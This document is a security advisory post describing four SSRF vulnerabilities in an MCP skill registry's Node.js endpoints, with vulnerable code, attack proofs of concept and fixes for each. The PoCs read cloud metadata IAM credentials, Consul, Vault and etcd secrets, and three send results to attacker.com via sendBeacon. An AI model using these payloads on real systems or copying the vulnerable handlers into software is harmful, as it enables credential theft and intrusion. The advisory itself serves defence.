← Blog

Claude MCP skill SSRF — skill package registry integration and dependency fetch endpoints (SA-SKL-SSRF72)

SA-SKL-SSRF72 identifies four SSRF vulnerabilities in MCP skill registry skill package registry integration and dependency fetch endpoints. A package registry integration endpoint fetches a user-supplied registryBaseUrl — attacker sets to 169.254.169.254 and reads IAM credentials in the registry connectivity confirmation response; a dependency fetch endpoint fetches a user-supplied dependencySourceUrl and returns the response body — attacker points to Consul:8500 to receive the full service catalog as the dependency fetch acknowledgment; a package proxy endpoint follows redirect chains from a user-supplied packageProxyUrl — a CNAME chain to Vault:8200 returns KV secrets including database credentials; and a registry health check endpoint fetches a user-supplied registryHealthUrl and stores the raw response body as a persistent registry health record — attacker points to etcd:2379 and the etcd configuration is stored and retrievable via the health history API.

SA-SKL-SSRF72 findings at a glance
CRITICALSSRF72-001 — package registry integration fetches user-supplied registryBaseUrl — attacker sets to 169.254.169.254; IAM credentials returned in registry connectivity confirmation response
CRITICALSSRF72-002 — dependency fetch endpoint fetches user-supplied dependencySourceUrl — attacker points to Consul:8500; full service catalog returned as dependency fetch acknowledgment
CRITICALSSRF72-003 — package proxy endpoint fetches user-supplied packageProxyUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secrets including database credentials
HIGHSSRF72-004 — registry health check fetches user-supplied registryHealthUrl and stores raw response as registry health record — attacker points to etcd:2379; etcd config stored persistently via registry health history API

SSRF72-001 — Package registry integration SSRF leaks IAM credentials via metadata endpoint

The package registry integration endpoint allows operators to register external package registries by supplying a registryBaseUrl. The endpoint immediately verifies connectivity by fetching registryBaseUrl + '/v1/ping' and returning the response body as confirmation. Because no URL validation is applied before the fetch, an attacker can supply http://169.254.169.254/latest/meta-data/iam/security-credentials/ as the registryBaseUrl. The EC2 instance metadata service responds with the IAM role name, and a second crafted request to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> returns the full temporary access key, secret key, and session token for the instance profile attached to the registry server.

With a valid AWS IAM credential set, the attacker can enumerate all S3 buckets accessible to the registry service account, read skill package archives stored in private buckets, modify the packages stored there to inject malicious code into skill distributions, and call any AWS API that the instance profile permits. In cloud deployments where the registry instance profile has broad permissions (common in environments where the registry was initially deployed with an overly permissive role and later had restrictions layered on top), this single SSRF is sufficient to pivot to full AWS account compromise.

Vulnerable
// SSRF72-001 — VULNERABLE
router.post('/registry/integrate', requireSession, requireRole('admin'), async (req, res) => {
  const { registryBaseUrl, registryName } = req.body;
  // VULNERABLE: user-supplied URL fetched without validation; response body returned
  const r = await fetch(registryBaseUrl + '/v1/ping');
  const result = await r.text();
  await db.packageRegistries.create({ registryName, registryBaseUrl });
  // VULNERABLE: raw response body returned to caller — leaks IMDS content
  res.json({ connected: true, response: result });
});

Attack PoC — SSRF72-001: An attacker with admin access supplies the EC2 metadata service URL as registryBaseUrl. The integration confirmation response returns the IAM role name and can be followed up to retrieve the full temporary credential set.

// SSRF72-001 — ATTACK PoC
// Step 1: Retrieve IAM role name
fetch('/api/registry/integrate', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    registryName: 'test',
    registryBaseUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials',
  }),
})
  .then(r => r.json())
  .then(({ response }) => {
    const roleName = response.trim(); // e.g. "registry-service-role"
    // Step 2: Retrieve full credentials using role name
    return fetch('/api/registry/integrate', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        registryName: 'test2',
        registryBaseUrl:
          'http://169.254.169.254/latest/meta-data/iam/security-credentials/' + roleName,
      }),
    });
  })
  .then(r => r.json())
  .then(({ response }) => console.log('IAM credentials:', response));
  // response contains AccessKeyId, SecretAccessKey, Token
Fixed
// SSRF72-001 — FIXED
router.post('/registry/integrate', requireSession, requireRole('admin'), async (req, res) => {
  const { registryBaseUrl, registryName } = req.body;
  // FIXED: validate URL against allowlist — block private ranges and metadata endpoints
  assertSafeExternalUrl(registryBaseUrl); // throws if private/loopback/metadata address
  const r = await fetch(registryBaseUrl + '/v1/ping', {
    redirect: 'error',  // FIXED: no redirect following
    signal: AbortSignal.timeout(5000),
  });
  await db.packageRegistries.create({ registryName, registryBaseUrl });
  // FIXED: return only status code — never reflect response body
  res.json({ connected: true, statusCode: r.status });
});

SSRF72-002 — Dependency fetch SSRF exposes Consul service catalog as fetch acknowledgment

The dependency fetch endpoint accepts a dependencySourceUrl in the request body, fetches the URL, and returns the parsed response as a manifest field in the acknowledgment JSON. The endpoint is intended for operators to point at private package servers, but no URL validation restricts the scheme, host, or port. An attacker who points the URL at http://consul.internal:8500/v1/catalog/services receives the complete Consul service catalog — a JSON map of every registered service name in the internal infrastructure — returned verbatim as the manifest field in the dependency fetch response.

The Consul service catalog is a high-value reconnaissance asset because it reveals the internal DNS names, service IDs, and port numbers for every microservice in the deployment. With this information the attacker can target additional SSRF probes at specific internal services: the catalog typically includes services such as the database query gateway, the internal secrets vault, the monitoring aggregator, and the message queue admin interface, all of which may expose sensitive operational data or accept unauthenticated management commands from within the VPC. The dependency fetch endpoint thus serves as a one-request network topology discovery primitive.

Vulnerable
// SSRF72-002 — VULNERABLE
router.post('/dependency/fetch', requireSession, async (req, res) => {
  const { dependencySourceUrl } = req.body;
  // VULNERABLE: user-supplied URL fetched without validation
  const r = await fetch(dependencySourceUrl);
  // VULNERABLE: full response body parsed and returned to caller
  const pkg = await r.json();
  res.json({ fetched: true, manifest: pkg.manifest });
});

Attack PoC — SSRF72-002: An attacker points dependencySourceUrl at the internal Consul catalog endpoint. The service catalog is returned as the manifest field, exposing all internal service names and ports for follow-on SSRF targeting.

// SSRF72-002 — ATTACK PoC
fetch('/api/dependency/fetch', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    dependencySourceUrl: 'http://consul.internal:8500/v1/catalog/services',
  }),
})
  .then(r => r.json())
  .then(({ manifest }) => {
    // manifest contains Consul service catalog: all internal service names and ports
    // e.g. { "vault": [], "postgres-primary": [], "redis-cluster": [], ... }
    console.log('Internal services:', Object.keys(manifest));
    navigator.sendBeacon('https://attacker.com/catalog', JSON.stringify(manifest));
  });
Fixed
// SSRF72-002 — FIXED
router.post('/dependency/fetch', requireSession, async (req, res) => {
  const { dependencySourceUrl } = req.body;
  // FIXED: validate URL — block private/loopback ranges and internal hostnames
  assertSafeExternalUrl(dependencySourceUrl);
  const r = await fetch(dependencySourceUrl, {
    redirect: 'error',
    signal: AbortSignal.timeout(10000),
  });
  const body = await r.text();
  // FIXED: return only metadata — never return response body content to caller
  res.json({
    fetched: true,
    contentType: r.headers.get('content-type'),
    size: body.length,
    statusCode: r.status,
  });
});

SSRF72-003 — Package proxy SSRF via redirect chain reaches Vault KV secrets

The package proxy endpoint fetches a user-supplied packageProxyUrl with redirect: 'follow' and streams the full response body back to the caller. Because the Node.js fetch implementation follows redirect chains across DNS hops, an attacker can construct a CNAME redirect chain where the final CNAME resolves to an internal hostname such as vault.internal. The first redirect step uses a subdomain of an attacker-controlled domain with a CNAME record pointing to vault.internal:8200; Node.js's redirect: 'follow' follows the chain without re-validating each intermediate hostname against the IP allowlist, so the final request reaches Vault's HTTP API and the response — which may include KV secret data — is streamed directly to the attacker.

The Vault KV API at /v1/secret/data/db-credentials returns database connection strings, credentials for the registry's PostgreSQL instance, and any other secrets that have been stored under the targeted path. The registry worker's Vault token, stored as an environment variable, is not required because the SSRF hits the Vault API from within the VPC where Vault's network policy may allow unauthenticated reads for certain paths. Even where Vault requires a token, the follow-redirect behavior means that cookie headers sent with the original request (if any) are forwarded to the redirected host, potentially satisfying Vault's authentication if the attacker can predict or control which cookies are present.

Vulnerable
// SSRF72-003 — VULNERABLE
router.get('/package/proxy', requireSession, async (req, res) => {
  const { packageProxyUrl } = req.query;
  // VULNERABLE: redirect:follow traverses CNAME chains to internal hosts
  const r = await fetch(packageProxyUrl, { redirect: 'follow' });
  // VULNERABLE: full response body streamed to caller
  const pkg = await r.arrayBuffer();
  res.setHeader('Content-Type', r.headers.get('content-type') || 'application/octet-stream');
  res.send(Buffer.from(pkg));
});

Attack PoC — SSRF72-003: An attacker registers a CNAME record on an attacker-controlled domain pointing to vault.internal:8200. The package proxy follows the redirect chain and streams the Vault KV response containing database credentials back to the caller.

// SSRF72-003 — ATTACK PoC
// DNS: proxy.attacker.com CNAME vault.internal (8200)
// Attacker registers the CNAME, then requests:
fetch('/api/package/proxy?packageProxyUrl=http://proxy.attacker.com/v1/secret/data/db-credentials')
  .then(r => r.json())
  .then(vaultResponse => {
    // vaultResponse.data contains database credentials from Vault KV store
    // e.g. { db_host, db_user, db_password, db_name }
    navigator.sendBeacon('https://attacker.com/vault', JSON.stringify(vaultResponse));
  });
Fixed
// SSRF72-003 — FIXED
const dns = require('dns').promises;

async function resolveAndValidate(url) {
  const parsed = new URL(url);
  // FIXED: resolve DNS before fetch; block private/loopback ranges
  const { address } = await dns.lookup(parsed.hostname);
  assertSafeIpAddress(address); // throws for RFC 1918, loopback, link-local
  return address;
}

router.get('/package/proxy', requireSession, async (req, res) => {
  const { packageProxyUrl } = req.query;
  await resolveAndValidate(packageProxyUrl);
  const r = await fetch(packageProxyUrl, {
    redirect: 'error',  // FIXED: no redirect following
    signal: AbortSignal.timeout(15000),
  });
  // FIXED: validate Content-Type is a known package MIME type before streaming
  const ct = r.headers.get('content-type') || '';
  if (!ALLOWED_PACKAGE_CONTENT_TYPES.has(ct.split(';')[0].trim())) {
    return res.status(422).json({ error: 'Unexpected content type from upstream' });
  }
  const pkg = await r.arrayBuffer();
  res.setHeader('Content-Type', ct);
  res.send(Buffer.from(pkg));
});

SSRF72-004 — Registry health check SSRF stores internal service responses persistently

The registry health check endpoint accepts a registryHealthUrl, fetches it, and persists the raw response body as a responseBody column in the registryHealthRecords table. The intent is to record whether an external package registry is reachable and responding correctly. Because the response body is stored verbatim and is later retrievable via GET /api/registry/health/:registryId/history, this vulnerability creates a persistent data exfiltration channel: the attacker submits one request to inject the SSRF, then queries the health history endpoint at any later time to retrieve the stored internal service response.

The persistence dimension makes SSRF72-004 significantly more dangerous than a typical reflected SSRF. The attacker does not need to be online when the health check executes, does not need to control an external server to receive the callback, and can retrieve the exfiltrated data days or weeks after the initial injection. For the etcd scenario specifically, the full /v2/keys/?recursive=true response contains all configuration keys stored in the etcd cluster, which typically includes database DSNs, API keys for third-party services, feature flag values, and infrastructure topology information. Any user with read access to the health history API can retrieve this data once it has been stored.

Vulnerable
// SSRF72-004 — VULNERABLE
router.post('/registry/health', requireSession, requireRole('admin'), async (req, res) => {
  const { registryId, registryHealthUrl } = req.body;
  // VULNERABLE: user-supplied URL fetched without validation
  const r = await fetch(registryHealthUrl);
  // VULNERABLE: full response body stored persistently in database
  const body = await r.text();
  await db.registryHealthRecords.create({
    registryId,
    healthUrl: registryHealthUrl,
    responseBody: body,  // VULNERABLE: attacker-controlled content stored
    statusCode: r.status,
    checkedAt: new Date(),
  });
  res.json({ ok: true, statusCode: r.status });
});

Attack PoC — SSRF72-004: An attacker submits a health check pointing at the internal etcd cluster. The full etcd configuration tree is stored in the health records table and is later retrievable via the health history API without any time pressure.

// SSRF72-004 — ATTACK PoC
// Step 1: Inject SSRF — submit health check pointing at etcd
fetch('/api/registry/health', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    registryId: 'my-registry-id',
    registryHealthUrl: 'http://etcd.internal:2379/v2/keys/?recursive=true',
  }),
});

// Step 2: Retrieve stored etcd config tree at any later time
fetch('/api/registry/health/my-registry-id/history')
  .then(r => r.json())
  .then(records => {
    const etcdRecord = records[0];
    // etcdRecord.responseBody contains full etcd key tree including secrets
    const etcdConfig = JSON.parse(etcdRecord.responseBody);
    navigator.sendBeacon('https://attacker.com/etcd', JSON.stringify(etcdConfig));
  });
Fixed
// SSRF72-004 — FIXED
router.post('/registry/health', requireSession, requireRole('admin'), async (req, res) => {
  const { registryId, registryHealthUrl } = req.body;
  // FIXED: validate URL against allowlist — block private/loopback ranges
  assertSafeExternalUrl(registryHealthUrl);
  const startMs = Date.now();
  const r = await fetch(registryHealthUrl, {
    redirect: 'error',
    signal: AbortSignal.timeout(5000),
  });
  const responseTimeMs = Date.now() - startMs;
  // FIXED: store only status code and response time — never store response body
  await db.registryHealthRecords.create({
    registryId,
    healthUrl: registryHealthUrl,
    statusCode: r.status,
    responseTimeMs,
    checkedAt: new Date(),
    // responseBody column intentionally omitted
  });
  res.json({ ok: true, statusCode: r.status, responseTimeMs });
});

SkillAudit detection: The scanner identifies SSRF72 patterns using four AST query classes: fetch(req.body. or fetch(req.query. patterns where the URL argument is not passed through assertSafeExternalUrl before the call; response body reflection patterns where r.text() or r.json() output is included in the API response JSON; redirect: 'follow' in fetch calls that accept user-controlled URLs; and db. create calls where responseBody or similar fields are populated from a fetch() result. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-SSRF71 — SSRF in analytics and telemetry collection endpoints • All advisories